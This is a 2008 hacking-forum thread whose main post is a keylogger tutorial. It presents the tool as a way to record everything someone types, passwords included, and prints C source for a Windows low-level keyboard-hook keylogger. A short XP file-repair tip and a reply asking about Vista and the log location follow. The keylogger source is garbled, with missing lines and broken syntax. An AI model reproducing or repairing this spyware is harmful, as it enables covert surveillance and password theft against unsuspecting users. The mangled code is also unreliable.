Thank you...for visiting our site.
hope u enjoy it.
for further info just mail : gkd_619@rediffmail.com

This is a Official forum of www.incrediblearena.co.nr
HomeFAQSearchRegisterLog inGallery
Log in
Log in automatically: 
:: I forgot my password
Similar topics
Why you want to be a Hacker
 25% [ 16 ]
 19% [ 12 ]
Security developer
 27% [ 17 ]
Want 2 be a g33k god
 22% [ 14 ]
etc etc
 8% [ 5 ]
Total Votes : 64
Latest topics
» SilverMU season 6
Fri Apr 29, 2011 3:12 pm by ArcSky

» WINDOWS 8 M1 [Leaked] [Dwnld]
Sun Apr 17, 2011 1:46 am by admin

» thousands of working email id's
Thu Jan 27, 2011 12:38 am by admin

» zuckerberg-fan-page-hack [news]
Wed Jan 26, 2011 10:54 pm by admin

» Dhobi Ghat (Direct Download)
Wed Jan 26, 2011 1:18 am by admin

» Saw All Parts [Resume Support High Speed Downloads]
Wed Jan 26, 2011 1:03 am by admin

» USB Hidden Copier
Wed Jan 26, 2011 12:56 am by admin

» Free e-books
Tue Jan 25, 2011 11:22 pm by admin

» Free Reliance Internet [Simple & eazy]
Tue Jan 25, 2011 11:08 pm by admin

web track

Share | 

 hacking stuff

Go down 

Why you want to be a Hacker
 25% [ 16 ]
 19% [ 12 ]
Security developer
 27% [ 17 ]
Want 2 be a g33k god
 22% [ 14 ]
etc etc
 7% [ 5 ]
Total Votes : 64


Number of posts : 106
Age : 33
Location : internet
Job/hobbies : website devloping
Points : 12018
Registration date : 2008-02-27

PostSubject: hacking stuff   Sun Mar 02, 2008 11:39 pm

Keylogger - A Complete Tutorial

/*What is a keylogger?

it's a program that logs everything that you type on the keyboard.

what are it's usages to me?

well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.

how do i get one?

you can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.

ok, how do i do this?

you program one. if your new to programming then learn how to program in c then come back here.
if you know how to program in C then read on.

there are two ways of making a keylogger:

1. using the GetAsyncKeyState API. look at svchost.c.

2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:

code: */

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.

#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"

// Global Hook handleHHOOK hKeyHook;

// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.


// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
// [You must be registered and logged in to see this link.]
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
// (Keystroke Messages)

DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;

// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.

char lpszName[0x100] = {0};
lpszName[0] = '[';

int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;

lpszName = ']';

// Print this name to the standard console output device.

FILE *file;

// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.

return CallNextHookEx(hKeyHook,

// This is a simple message loop that will be used
// to block while we are logging keys. It does not

// perform any real task ...

void MsgLoop(){MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );}

// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.

DWORD WINAPI KeyLogger(LPVOID lpParameter){
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.

HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);

// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.

if (!hExe) return 1;

hKeyHook = SetWindowsHookEx (

// install the hook:

WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent,
// with the KeyEvent function from this executable
hExe, // and the module handle to our own executableNULL
// and finally, the hook should monitor all threads.

// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.

return 0;
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.

int main(int argc, char** argv)
HANDLE hThread;
DWORD dwThread;
DWORD exThread;

KeyLogger, (LPVOID) argv[0], NULL, &dwThread);

if (hThread)
return WaitForSingleObject(hThread,INFINITE);
else {return 1;}

//This is for educational purpose only.........
//Credits: Rani Tha

Posted by Gautam Agarwal 1 comments

Labels: Internet

How to fix corrupted windows files in XP

This tutorial has been made so people that are having problems with corrupted files, can learn how to fix them easy.


1. Windows XP CD

Now, follow this steps:

1. Place the xp cd in your cd/dvd drive
2. Go to start
3. run
4. type "sfc /scannow" (without ")

Now sit back and relax, it should all load and fix all your corrupted file on win XP.


Last edited by Admin on Thu Oct 16, 2008 2:42 am; edited 1 time in total
Back to top Go down
View user profile http://www.incrediblearena.co.cn
Manoos Ajnabi
Senior member
Senior member

Number of posts : 5
Age : 31
Location : near from far and far form near
Job/hobbies : poetry, knowlege abt omputer
Humor : gentle
Points : 11901
Registration date : 2008-03-12

PostSubject: Re: hacking stuff   Wed Mar 12, 2008 5:17 pm

ll th!s work on c++

2ndly ll th!s work !n any other operat!ng system

3rd can ! us3 !t !n w!ndows V!sta

4th !n wat 4mat and at wat locat!ons all the k3ys ll b3 sav3d
Back to top Go down
View user profile

Number of posts : 106
Age : 33
Location : internet
Job/hobbies : website devloping
Points : 12018
Registration date : 2008-02-27

PostSubject: yeah ajnabi   Wed Mar 12, 2008 11:22 pm

u r rite ajnabi....

Back to top Go down
View user profile http://www.incrediblearena.co.cn
Sponsored content

PostSubject: Re: hacking stuff   

Back to top Go down
hacking stuff
Back to top 
Page 1 of 1
 Similar topics
» organizing stuff
» Char's Stuff

Permissions in this forum:You cannot reply to topics in this forum
::incrediblearena:: :: HARDCORE ARENA :: HACKING ARENA-
Jump to: